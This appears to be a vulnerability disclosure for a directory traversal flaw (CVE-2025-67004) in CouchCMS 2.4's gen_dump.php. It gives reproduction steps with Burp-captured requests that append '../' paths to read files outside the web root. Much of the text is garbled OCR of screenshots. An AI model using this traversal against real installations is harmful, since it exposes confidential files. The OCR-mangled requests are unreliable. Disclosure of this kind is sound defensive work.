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CVE-2025-67004 — Directory Traversal in
CouchCMS version 2.4

Affected product: CouchCMS 2.4

Summary:

In Couch CMS 2.4, any admin user will able to read system files even outside the root
directory via directory traversal ( using ../../../..]'). Any admin user with bad intention can
able to read sensitive system files via directory traversal. A Information Disclosure
vulnerability in CouchCMS 2.4 allow an Admin user to read arbitrary files via traversing
directories back after back. It can Disclosure the source code or any other confidential
information if weaponize accordingly.

Technical details:

1. Fist Download and install CouchCMS 2.4 From official github

2. Log in as superuser account which you created at the time of installation !
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3. Now capture the request of Download Dump in Burp Suit
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REQUEST CAPTURED :-
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Request
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1 GET /CouchcMs/couch/gen_dump.php HTTP/1.1

2 Host: localhost
sec-ch-ua: ''Chromium "143", "Not A(Brand'
sec-ch-ua-mobile: 70
sec-ch-ua-platform: "windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36 (KHTML, like

Gecko) Chrome/143.0.0.0 safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng

;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 7?1
Sec-Fetch-Dest: document
Referer: http://localhost/CouchCMS/couc
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Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/CouchCMs/couc
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5. Now navigate to the couchCMS/couch folder which is root folder of the CMS and

make a simple TXT file with coustom name like:- exploit_test.txt and write some

text data into that file !

B C\xampp\htdocs\CouchCl X +

& » C Q> | hispPc xampp

® New N Sort

# Home

uments
& Pictures
® Music
[ videos
® Recycle Bin
B _indexphp

xphp

B captchaphp

B cmsphp
I couch

B commentphp
B conditional-fi
B config.php
W This PC .
B couchems-logogif
B dbphp
ew Volume (D7) ) it

This file is made for the shake of example purpose to show how a user can access outside

files by Directory Traversal

htdocs

CouchCMs couch

Type
File folder
File folder
File folder
File folder
File folder
File folder
File folder
File folder

File folder

S View
Sort by

Group by

Search couch

(B Details

Undo Rename Ctrl+Z

D New

“ Properties

3KB

14KB Open in Terminal

16 KB ) Show more options
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Microsoft Word Document
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6. Now Navigate to the Burp Repeater and add /../exploit_test.txt on the path of

the http request and send It!

# Burp Project Intruder Repeater View Help Hackvertor
Dashboard Target Proxy Intruder Repeater Collaborator

BurpJSLinkFinder
1 x +

Send {§}

Hackvertor

+ Burp Al

Request
Pretty Raw Hex Hackvertor

Host: localhost

sec-ch-ua: "Chromium'";v="143", "Not A(Brand"
sec-ch-ua-mobile: 70

sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36

(KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q
ge/apng, 0.8,application/signed-exchange;v=b3
Sec-Fetch-Sit same-origin

Sec-Fetch-Mod navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/CouchCcMs/couch/
Accept-Encoding: gzip, deflate, br
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Search couch
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Response
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HTTP/1.1 200 OK

Server: Apache/2.4.58 (Win64)
OpenssL/3.1.3 PHP/8.0.30
Last-Modified: Thu, 08 Jan 2026
03:21:12 GMT

5 ETag: "2b-647d7e69387ff"
Accept-Ranges: bytes

7 Content-Length: 43
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

9,image/avif,image/webp,ima
.7 10_Content-T H lain

THIS IS DIRECTORY TRAVERSAL
VULNERABILITY !

3cbac5ee88cfie
AN ~Q~1hQ

(B Details

® > P&

JOIPN

Target: http://localhost y HTTP/1 @

\n

Date: Thu, 08 Jan 2026 03:22:13 GMT

PUPCECCSTN—

0

You showed up with the file data and able to read files even outside of the CouhCMS dir.

Moreover, If any the file is outside the couch root folder then also it can be accessed by
this vulnerability. Like you seen below :-

Made a new file outside the Couch root folder :-
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GET /CouchCMS/couch/gen_dump. i i ir.txt HTTP/1.1 1 HTTP/1.1 200 OK

Host: localhost 2 Date: Thu, 08 Jan 2026 04 145 GMT
sec-ch-ua: "Chromium";v="143" 24" 3 Server: Apache/2.4.58 (Win64)
sec-ch-ua-mobile: 70 OpenssL/3.1.3 PHP/8.0.30
sec-ch-ua-platform: "Windows" 4 Last-Modified: Thu, 08 Jan 2026 04:06:14
Accept-Language: en-US,en;q=0.9 GMT

Upgrade-Insecure-Requests: 1 5 ETag: "23-647d887a9%e8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36 6 Accept-Ranges: bytes

(KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 7 Content-Length: 35

Accept: 8 Keep-Alive: timeout=5, max=100
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web 9 Connection: Keep-Alive

p,image/apng, ;9=0.8,application/signed-exchange;v=b3;q=0.7 10.Co H S plai

Sec-Fetch-Site: same-origin [
Sec-Fetch-Mode: navigate 1p outsider File created by ATTACKER !
Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/CouchCcMs/couch/
Accept-Encoding: gzip, deflate, br

Cookie: couchcms_testcookie=CouchCMs%20test%20cookie; -
couchcms_bd612b5310eb4d3b23cbhac5ee88cf4e3 2

/217670796 E2Y2A2EARTFINAQ~Th2ERA~N241 ~AhZhONhE s PUPCECCTA— <
£ | 0highlights @@ <2 | 0highlights o

bytes | 1,011 millis
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Impact:

confidentiality : High Impact
integrity : Low Impact

availability : Medium Impact
Mitigation / Fix:
Upgrade to higher version.
Timeline:

Discovery: 16 Nov 2025
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Credits:

Reported by: Piyush Kumar Shukla

Contact:

piyushbusiness29@gmail.com

Comments are disabled for this gist.
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